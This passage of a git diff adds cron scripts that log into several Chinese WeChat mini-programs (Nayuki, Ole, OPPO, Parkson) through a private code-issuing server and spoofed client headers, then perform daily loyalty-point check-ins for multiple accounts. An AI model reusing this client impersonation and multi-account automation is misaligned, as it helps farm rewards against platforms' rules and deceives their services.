t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function randomIntString(n) { + let s = ""; + for (let i = 0; i < n; i++) s += Math.floor(Math.random() * 10); + return s; +} +function hmacSha1Base64(secret, message) { + return crypto.createHmac("sha1", secret).update(message, "utf8").digest("base64"); +} +function buildRequestData(extra) { + const nonce = randomIntString(6); + const timestamp = Math.floor(Date.now() / 1000); + const signature = hmacSha1Base64(SIGN_SECRET, `nonce=${nonce}&openId=${OPEN_ID}×tamp=${timestamp}`); + const common = { + platform: "wxapp", version: "6.0.42", imei: "", osn: "microsoft", sv: "Windows 10 x64", + lat: "", lng: "", lang: "zh_CN", currency: "CNY", timeZone: "", + nonce: Number(nonce), openId: OPEN_ID, timestamp, signature, + }; + const params = { + businessType: 1, brand: 26000252, tenantId: 1, channel: 2, + stallType: null, storeId: "", storeType: "", cityId: "", + ...(extra || {}), + }; + return { common, params }; +} +function chinaDateParts() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + return { y: d.getUTCFullYear(), m: d.getUTCMonth() + 1, d: d.getUTCDate() }; +} +function extractToken(data) { + if (!data || typeof data !== "object") return ""; + const inner = data.data || {}; + for (const k of ["token", "accessToken", "access_token", "authToken", "memberToken"]) { + const v = data[k] || inner[k]; + if (v && String(v) !== "null") return String(v); + } + return ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const body = buildRequestData({ appId: MINI_APP_ID, dAId: "", type: 3, wxappCode: code, regChannelCode: "|1027" }); + const res = await axios.request({ + method: "POST", url: LOGIN_URL, data: JSON.stringify(body), + headers: { Host: "tm-api.pin-dao.cn", Authorization: "Bearer null", "User-Agent": UA, xweb_xhr: "1", storeId: "", "Content-Type": "application/json", iv: randomIntString(16), Accept: "*/*", Referer: `https://servicewechat.com/${MINI_APP_ID}/1/page-frame.html` }, + timeout: 20000, validateStatus: () => true, + }); + this.token = extractToken(res.data); + if (!this.token) throw new Error(`登录未返回 token(可能未注册): ${short(res.data)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async callApi(url, body) { + const payload = buildRequestData(body || {}); + const res = await axios.request({ + method: "POST", url, data: JSON.stringify(payload), + headers: { "User-Agent": UA, Authorization: `Bearer ${this.token}`, Referer: `${WEB_BASE}/`, Origin: WEB_BASE, "Content-Type": "application/json" }, + timeout: 20000, validateStatus: () => true, + }); + return res.data || {}; + } + async sign() { + const { y, m, d } = chinaDateParts(); + const signDate = `${y}-${String(m).padStart(2, "0")}-01`; + const today = `${y}-${String(m).padStart(2, "0")}-${String(d).padStart(2, "0")}`; + const rec = await this.callApi(`${WEB_BASE}/user/sign/records`, { signDate, startDate: today }); + if (Number(rec.code) !== 0) return this.log(`❌ 查询签到失败:${rec.message || short(rec)}`); + const data = rec.data || {}; + if (data.status) return this.log(`✅ 今日已签到,累计 ${data.signCount ?? "?"} 天`); + const save = await this.callApi(`${WEB_BASE}/user/sign/save`, { signDate: today }); + if (Number(save.code) === 0 && (save.data || {}).flag) return this.log(`✅ 签到成功,累计 ${(save.data || {}).signCount ?? data.signCount ?? "?"} 天`); + const msg = save.message || save.msg || short(save); + if (/已签|签到过|重复/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (/未返回 token/.test(String(e.message))) { this.log("⚠️ 登录未拿到 token(该微信号可能未注册奈雪会员),先在小程序里注册一次再跑"); return; } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/olecs.js b/wxapp/olecs.js new file mode 100644 index 00000000..93cef5e8 --- /dev/null +++ b/wxapp/olecs.js @@ -0,0 +1,261 @@ +/* +------------------------------------------ +@Description: Ole 超市(华润 crvole) - 微信小程序静默登录 + 每日签到 +cron: 16 6,18 * * * +------------------------------------------ +变量名:olecs +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx6c61aaeba1551439,host ole-app.crvole.com.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;纯 code→session,无会员注册闸门) + +公共头:appVersion / channel:wxmini / os:android / Tenant:VGDT / Tenant-Channel:OLE + + unique(设备UUID,按openid派生) + Device-Name + traceId(微秒时间戳) + 业务请求再加 sessionId + oleWxOpenId +登录 POST /vgdt_app_api/v1/vgdt-fea-app-member/front_api/wechat_auths/code/mini_program {code} + -> state_code==200,data.user_session(=sessionId) / data.open_id(=oleWxOpenId) +门店 POST /vgdt_app_api/v1/vgdt-fea-app-entershop/front_api/enter_shops/shop {location,...} + -> state_code==200,data.shop_code(按 LOCATION 就近匹配门店,用于签到入参) +状态 GET /vgdt_app_api/v1/vgdt-fea-app-member/front_api/member_sign + -> state_code==200,data.sign_of_day=="Y"(已签) / data.total_integral(积分) +签到 POST /vgdt_app_api/v1/vgdt-fea-app-member/front_api/member_sign {enter_shop_code} + -> state_code==200 +LOCATION 为就近门店解析坐标(应用级配置,非个人凭证)。unique 按 openid 派生,未照搬作者设备号。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("Ole超市签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "olecs"; +const MINI_APP_ID = "wx6c61aaeba1551439"; +const BASE_URL = "https://ole-app.crvole.com.cn"; +// 就近门店解析坐标(应用级配置,用于 enter_shops 匹配 shop_code,非个人凭证) +const LOCATION = "119.17437689887153,26.149126519097223"; +const TOKEN_CACHE_FILE = path.join(__dirname, "olecs_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/vgdt_app_api/v1/vgdt-fea-app-member/front_api/wechat_auths/code/mini_program"; +const EP_SHOP = "/vgdt_app_api/v1/vgdt-fea-app-entershop/front_api/enter_shops/shop"; +const EP_SIGN = "/vgdt_app_api/v1/vgdt-fea-app-member/front_api/member_sign"; + +const COMMON_HEADERS = { + appVersion: "1.10.32", + channel: "wxmini", + os: "android", + Tenant: "VGDT", + "Tenant-Channel": "OLE", + "content-type": "application/json", +}; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +// 按 openid 派生稳定的 weapp 设备 UUID(不照搬作者设备号) +function deviceUnique(openid) { + const h = crypto.createHash("md5").update("ole-weapp-" + String(openid)).digest("hex"); + return `weapp-${h.slice(0, 8)}-${h.slice(8, 12)}-${h.slice(12, 16)}-${h.slice(16, 20)}-${h.slice(20, 32)}`; +} +function traceId() { + return String(Date.now() * 1000 + Math.floor(Math.random() * 1000)); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.unique = deviceUnique(this.account.openid); + this.sessionId = ""; + this.oleWxOpenId = ""; + this.shopCode = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(method, apiPath, data, { withSession = true } = {}) { + const headers = { + ...COMMON_HEADERS, + unique: this.unique, + "Device-Name": "666888", + traceId: traceId(), + "user-agent": UA, + referer: `https://servicewechat.com/${MINI_APP_ID}/100/page-frame.html`, + }; + if (withSession) { + headers.sessionId = this.sessionId; + headers.oleWxOpenId = this.oleWxOpenId; + } + const res = await axios.request({ + method, + url: `${BASE_URL}${apiPath}`, + headers, + data: method === "GET" ? undefined : (data || {}), + timeout: 20000, + validateStatus: () => true, + }); + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request("POST", EP_LOGIN, { code }, { withSession: false }); + const okState = Number(res?.state_code) === 200 || res?.success === true; + const d = (res && res.data) || {}; + const session = d.user_session || d.userSession || d.sessionId || d.session; + const openId = d.open_id || d.openId || d.oleWxOpenId; + if (!okState || !session || !openId) { + const memberId = d.member_id || d.memberId; + // state_code:200 但无 session/member_id(member_id:null, inquire:"N")= 该微信号未注册 OLE 会员 + if (okState && !session && (memberId === null || memberId === undefined || d.inquire === "N" || res?.data?.auto_register !== undefined)) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:登录返回无 session/member_id(该微信号未注册 OLE 会员)`); + } + throw new Error(`登录失败: ${res?.message || res?.msg || short(res)}`); + } + this.sessionId = String(session); + this.oleWxOpenId = String(openId); + const cache = readCache(); + cache[this.account.openid] = { sessionId: this.sessionId, oleWxOpenId: this.oleWxOpenId, shop_code: this.shopCode || "", updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async getShopCode() { + if (this.shopCode) return this.shopCode; + const payload = { + location: LOCATION, + address_longitude: "", location_name: "", province: "", city: "", district: "", + address: "", house_number: "", receive_mobile: "", receive_name: "", + region_name: "", region_id: "", select: false, + }; + const res = await this.request("POST", EP_SHOP, payload); + if (Number(res?.state_code) === 200 && res?.data?.shop_code) { + this.shopCode = String(res.data.shop_code); + this.log(`门店编码: ${this.shopCode}`); + const cache = readCache(); + if (cache[this.account.openid]) { cache[this.account.openid].shop_code = this.shopCode; writeCache(cache); } + return this.shopCode; + } + this.log(`获取门店编码失败: ${res?.message || short(res)}`); + return ""; + } + async checkSign() { + return this.request("GET", EP_SIGN, null); + } + async doSign() { + return this.request("POST", EP_SIGN, { enter_shop_code: this.shopCode || "" }); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.sessionId && cached.sessionId && cached.oleWxOpenId) { + this.sessionId = cached.sessionId; + this.oleWxOpenId = cached.oleWxOpenId; + this.shopCode = cached.shop_code || ""; + this.log("使用缓存session"); + return; + } + if (!this.sessionId) await this.login(); + } + // 判断响应是否为会话失效 + static isSessionInvalid(res) { + const code = Number(res?.state_code); + const msg = String(res?.message || res?.msg || ""); + if (code === 401 || code === 403) return true; + return /登录|会话|session|token|未授权|鉴权|失效|过期|请重新/i.test(msg); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + + let status = await this.checkSign(); + // 缓存 session 失效 → 重新登录后重查一次 + if (Number(status?.state_code) !== 200 && Task.isSessionInvalid(status)) { + this.log("session失效,重新登录后重试"); + this.sessionId = ""; this.oleWxOpenId = ""; this.shopCode = ""; + await this.login(); + status = await this.checkSign(); + } + if (Number(status?.state_code) !== 200 || !status?.data) { + this.log(`⚠️ 查询签到状态异常(可能未激活会员/接口变动): ${status?.message || short(status)}`); + return; + } + + const info = status.data; + if (info.sign_of_day === "Y") { + this.log(`✅ 今日已签到,积分: ${info.total_integral ?? "?"}`); + return; + } + + // 未签 → 取门店编码后签到 + await this.getShopCode(); + let res = await this.doSign(); + + // 首签失败 → 刷新门店编码后重试1次 + if (Number(res?.state_code) !== 200) { + this.log(`首次签到失败(${res?.message || short(res)}),刷新门店编码后重试`); + this.shopCode = ""; + await this.getShopCode(); + res = await this.doSign(); + } + + if (Number(res?.state_code) === 200) { + const d = res.data || {}; + const gain = d.integral ?? d.add_integral ?? d.point ?? ""; + this.log(`✅ 签到成功${gain !== "" ? `,获得积分 ${gain}` : ""}${d.total_integral !== undefined ? `,累计 ${d.total_integral}` : ""}`); + return; + } + const msg = res?.message || res?.msg || short(res); + if (/已签|签到过|重复|已完成/.test(String(msg))) { this.log(`✅ 今日已签到(${msg})`); return; } + this.log(`❌ 签到失败: ${msg}`); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在 OLE 注册会员(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录注册一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/oppo.js b/wxapp/oppo.js new file mode 100644 index 00000000..7a060740 --- /dev/null +++ b/wxapp/oppo.js @@ -0,0 +1,368 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: OPPO 小程序会员查询/积分签到 +cron: 21 8 * * * +------------------------------------------ +变量名:oppo +变量值:wx_server 里的 openid,多账号用 & 或换行 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +签到活动 id 会按月轮换(原来硬编码的 2061050217641549824 是 2026-06 那期, +过期后 signIn 固定回「活动已经结束」,看着像活动下线,其实只是 id 换了)。 +现在改成运行时从签到 H5 页(小程序 web-view 打开的同一个积木页)里发现: +页面把楼层配置直出在 HTML 里,形状是 + {"type":"SignIn","attr":{…,"activityInfo":{"activityId":"…","activityName":"8月积分商城签到"}}} +取那个 activityId 即当期活动;发现失败才回落到 FALLBACK 常量并明确提示。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const axios = require("axios"); + +const $ = new Env("OPPO"); + +const CK_NAME = "oppo"; +const APP = { + name: "OPPO", + appid: "wxe705c556754a1de2", + version: 361, +}; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const MINI_API = "https://omoapplet-api-cn.heytap.com"; +const H5_API = "https://hd.opposhop.cn"; +const SIGN_ACTIVITY_ID = "2061050217641549824"; // 仅作回落:2026-06 那期,已过期 +const CREDITS_ADD_ACTION_ID = "1788913e6d9e4683b8b9ab0088733560"; +const BUSINESS = 1; +const SIGN_PAGE = + "https://hd.opposhop.cn/bp/b371ce270f7509f0?nightModelEnable=true&utm_source=huiyuanwx&utm_medium=me_qiandao"; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; +// 抓 H5 页面用手机端微信 UA,跟小程序 web-view 里的环境一致 +const H5_USER_AGENT = + "Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Mobile Safari/537.36 MicroMessenger/8.0.30"; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 500) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function parseAccount(raw = "") { + const text = String(raw || "").trim(); + if (!text) return {}; + if (text.startsWith("{")) { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || "", + remark: data.remark || data.name || "", + }; + } + const [openid, remark] = text.split("#").map((item) => item.trim()); + return { openid, remark }; +} + +function awardTypeName(type) { + const map = { + 0: "无奖励", + 1: "积分", + 2: "优惠券", + 3: "抽奖机会", + }; + return map[Number(type)] || `类型${type}`; +} + +function todayText() { + const now = new Date(); + const y = now.getFullYear(); + const m = String(now.getMonth() + 1).padStart(2, "0"); + const d = String(now.getDate()).padStart(2, "0"); + return `${y}-${m}-${d}`; +} + +async function request(options) { + const res = await axios.request({ + timeout: 25000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, headers: res.headers || {}, data: res.data }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法从 wx_server 获取 code"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { + auth: WX_AUTH, + "content-type": "application/json", + Referer: `https://servicewechat.com/${APP.appid}/${APP.version}/page-frame.html`, + }, + data: { appid: APP.appid, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取 code 失败 HTTP ${status}: ${short(data)}`); + return code; +} + +class OppoTask { + constructor(rawAccount, index) { + this.index = index; + this.account = parseAccount(rawAccount); + this.sessionId = ""; + this.encryptedSession = ""; + this.openId = ""; + this.memberInfo = {}; + this.baseInfo = {}; + this.signActivityId = SIGN_ACTIVITY_ID; + this.creditsAddActionId = CREDITS_ADD_ACTION_ID; + } + + log(message) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${message}`); + } + + miniHeaders(extra = {}) { + return { + "content-type": "application/json", + s_channel: "oppo", + source_type: "2", + s_version: "010000", + spCallSource: "oppohy", + Referer: `https://servicewechat.com/${APP.appid}/${APP.version}/page-frame.html`, + sessionId: this.sessionId || "", + NEWOPPOSID: this.encryptedSession || "", + openid: this.openId || "", + sa_distinct_id: this.openId || "", + constToken: this.sessionId || "", + ...extra, + }; + } + + h5Headers(extra = {}) { + return { + "content-type": "application/json", + Origin: H5_API, + Referer: SIGN_PAGE, + sessionId: this.sessionId || "", + NEWOPPOSID: this.encryptedSession || "", + openid: this.openId || "", + sa_distinct_id: this.openId || "", + constToken: this.sessionId || "", + Cookie: [ + `NEWOPPOSID=${encodeURIComponent(this.encryptedSession || "")}`, + `sessionId=${encodeURIComponent(this.sessionId || "")}`, + `openid=${encodeURIComponent(this.openId || "")}`, + ].join("; "), + ...extra, + }; + } + + async miniRequest(method, path, data = {}) { + const upperMethod = method.toUpperCase(); + const { status, data: result } = await request({ + method: upperMethod, + url: `${MINI_API}${path}`, + headers: this.miniHeaders(), + params: upperMethod === "GET" ? data : undefined, + data: upperMethod === "GET" ? undefined : data, + }); + if (status !== 200) throw new Error(`${path} HTTP ${status}: ${short(result)}`); + if (result?.ret && String(result.ret) !== "1") { + throw new Error(`${path} 失败: ${result.errMsg || result.message || short(result)}`); + } + return result; + } + + async h5Request(method, path, data = {}) { + const upperMethod = method.toUpperCase(); + const { status, data: result } = await request({ + method: upperMethod, + url: `${H5_API}${path}`, + headers: this.h5Headers(), + params: upperMethod === "GET" ? data : undefined, + data: upperMethod === "GET" ? undefined : data, + }); + if (status !== 200) throw new Error(`${path} HTTP ${status}: ${short(result)}`); + if (Number(result?.code) !== 200 && result?.succeed !== true) { + throw new Error(`${path} 失败: ${result?.message || result?.errorMessage || short(result)}`); + } + return result; + } + + async login() { + if (!this.account.openid) throw new Error("账号格式错误,请配置 wx_server 里的 openid"); + const code = await getWxCode(this.account.openid); + const { status, data } = await request({ + method: "POST", + url: `${MINI_API}/user/pre/auth`, + headers: { + "content-type": "application/json", + Referer: `https://servicewechat.com/${APP.appid}/${APP.version}/page-frame.html`, + }, + data: { code }, + }); + if (status !== 200 || String(data?.ret) !== "1") throw new Error(`登录失败 HTTP ${status}: ${short(data)}`); + const info = data.data || {}; + this.sessionId = info.sessionId || ""; + this.encryptedSession = info.encryptedSession || ""; + this.openId = info.openId || ""; + if (!this.sessionId) throw new Error(`登录响应缺少 sessionId: ${short(data)}`); + this.log(`登录成功 openId=${this.openId || "未知"}`); + } + + async queryMember() { + const member = await this.miniRequest("GET", "/member/info", { sessionId: this.sessionId }); + const base = await this.miniRequest("GET", "/member/baseInfo", { sessionId: this.sessionId }).catch(() => ({})); + this.memberInfo = member.data || {}; + this.baseInfo = base.data || {}; + const userName = this.memberInfo.userName || this.baseInfo.userName || "未知"; + const phone = this.baseInfo.pnumber ? `,手机号: ${this.baseInfo.pnumber}` : ""; + this.log( + `用户信息: ${userName}${phone},积分: ${this.memberInfo.pointAmount ?? 0},成长值: ${ + this.memberInfo.growthValue ?? 0 + },等级: ${this.memberInfo.gradeCode || "未知"}` + ); + } + + async queryEntrance() { + const result = await this.miniRequest("GET", "/activity/signIn/entrance", { sessionId: this.sessionId }); + const data = result.data || {}; + this.log(`签到入口: ${data.signInIsStarted ? "已开启" : "未开启"},连续/累计天数: ${data.signInDays ?? "-"}`); + } + + /** + * 从签到 H5 页发现当期活动 id(只读)。 + * 积木页把楼层配置直出在 HTML 里,签到楼层是 {"type":"SignIn","attr":{…}}, + * 里面的 activityInfo.activityId 就是当期活动;顺带取一下 creditsAddActionId。 + */ + async discoverSignActivity() { + try { + const { status, data } = await request({ + method: "GET", + url: SIGN_PAGE, + headers: { "User-Agent": H5_USER_AGENT, Accept: "text/html,*/*", Referer: SIGN_PAGE }, + responseType: "text", + transformResponse: [(value) => value], + }); + const html = typeof data === "string" ? data : ""; + if (status !== 200 || !html) { + this.log(`签到活动发现: 页面不可读 HTTP ${status},回落到内置 id`); + return; + } + const anchor = html.search(/"type"\s*:\s*"SignIn"/); + if (anchor < 0) { + this.log("签到活动发现: 页面里没有 SignIn 楼层(活动可能真的下线了),回落到内置 id"); + return; + } + const segment = html.slice(anchor, anchor + 2000); + const idMatch = segment.match(/"activityInfo"\s*:\s*\{[^{}]*"activityId"\s*:\s*"(\d+)"/); + const nameMatch = segment.match(/"activityName"\s*:\s*"((?:[^"\\]|\\.)*)"/); + const actionMatch = segment.match(/"creditsAddActionId"\s*:\s*"([0-9a-f]{32})"/); + if (!idMatch) { + this.log("签到活动发现: SignIn 楼层里没有 activityId,回落到内置 id"); + return; + } + this.signActivityId = idMatch[1]; + if (actionMatch) this.creditsAddActionId = actionMatch[1]; + const name = nameMatch ? nameMatch[1] : ""; + this.log(`签到活动: ${name || "未命名"} (activityId=${this.signActivityId})`); + } catch (e) { + this.log(`签到活动发现失败: ${e.message || e},回落到内置 id`); + } + } + + async getSignDetail() { + const result = await this.h5Request("GET", "/api/cn/oapi/marketing/cumulativeSignIn/getSignInDetail", { + activityId: this.signActivityId, + creditsAddActionId: this.creditsAddActionId, + business: BUSINESS, + }); + return result.data || {}; + } + + todayAward(detail = {}) { + const today = todayText(); + const awards = Array.isArray(detail.baseAwards) ? detail.baseAwards : []; + return awards.find((item) => String(item.signTime || "").slice(0, 10) === today) || awards[0] || {}; + } + + async querySignDetail() { + const detail = await this.getSignDetail(); + const award = this.todayAward(detail); + const signed = Number(award.status) === 1; + this.log( + `签到详情: ${signed ? "今日已签" : "今日未签"},已签天数: ${detail.signInDayNum ?? 0},今日奖励: ${ + award.awardValue ?? "-" + }${award.awardType !== undefined ? awardTypeName(award.awardType) : ""}` + ); + return { detail, signed }; + } + + async signIn() { + const { signed } = await this.querySignDetail(); + if (signed) return this.log("签到结果: 今日已签到,跳过"); + const result = await this.h5Request("POST", "/api/cn/oapi/marketing/cumulativeSignIn/signIn", { + activityId: this.signActivityId, + captchaCode: "", + creditsAddActionId: this.creditsAddActionId, + business: BUSINESS, + }); + const data = result.data || {}; + if (data.receiveStatus === false) { + this.log(`签到结果: 失败,${data.receiveFailMsg || result.message || "未知原因"}`); + return; + } + this.log(`签到结果: 成功,获得 ${data.awardValue ?? "-"}${awardTypeName(data.awardType)}`); + await this.querySignDetail(); + } + + async run() { + try { + this.log(`开始执行 ${APP.name}`); + await this.login(); + await this.queryMember(); + await this.queryEntrance(); + await this.discoverSignActivity(); + await this.signIn(); + await this.queryMember(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +async function main() { + $.checkEnv(CK_NAME); + if (!$.userCount) { + $.log(`未找到变量 ${CK_NAME}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + const task = new OppoTask($.userList[i], i + 1); + await task.run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +} + +main() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done()); diff --git a/wxapp/parkson.js b/wxapp/parkson.js new file mode 100644 index 00000000..9fb90f48 --- /dev/null +++ b/wxapp/parkson.js @@ -0,0 +1,285 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: parkson 呼啦圈小程序签到 +cron: 35 8 * * * +------------------------------------------ +变量名:parkson +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("呼啦圈小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx89a714fb03b61b99"; +const APP_VERSION = "2.30.3"; +const ENV_VERSION = "release"; +const API_BASE = "https://smp-api.iyouke.com/dtapi"; +const TOKEN_CACHE_FILE = path.join(__dirname, "parkson_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "parkson"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function formatDate(date = new Date(), separator = "-") { + const y = date.getFullYear(); + const m = String(date.getMonth() + 1).padStart(2, "0"); + const d = String(date.getDate()).padStart(2, "0"); + return [y, m, d].join(separator); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.accessToken = ""; + this.authorization = ""; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.accessToken) { + await this.loginByWxCode(); + if (!this.accessToken) return; + } + // 未在本店铺注册:后续接口必然 401,直接结束,避免刷一串误导性失败 + if (this.unregistered) return; + + await this.getPointsInfo(); + await this.getSignList(); + await this.doSign(); + await this.getPointsInfo(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.accessToken) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.accessToken, + authorization: this.authorization, + userId: this.userInfo.userId || "", + nickName: this.userInfo.nickName || "", + userMobile: this.userInfo.userMobile || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.accessToken = ""; + this.authorization = ""; + } + + applyToken(data = {}) { + this.accessToken = data.accessToken || data.access_token || ""; + this.authorization = data.authorization || (this.accessToken ? `bearer${this.accessToken}` : ""); + this.userInfo = data; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/42/page-frame.html`, + "Accept": "application/json, text/plain, */*", + appId: MINI_APP_ID, + version: APP_VERSION, + envVersion: ENV_VERSION, + "xy-extra-data": `appid=${MINI_APP_ID};version=${APP_VERSION};envVersion=${ENV_VERSION};`, + ...extra, + }; + if (this.authorization) headers.Authorization = this.authorization; + return headers; + } + + async request({ method = "POST", apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method === "GET") options.params = params; + else options.data = data; + if (skipToken) delete options.headers.Authorization; + + 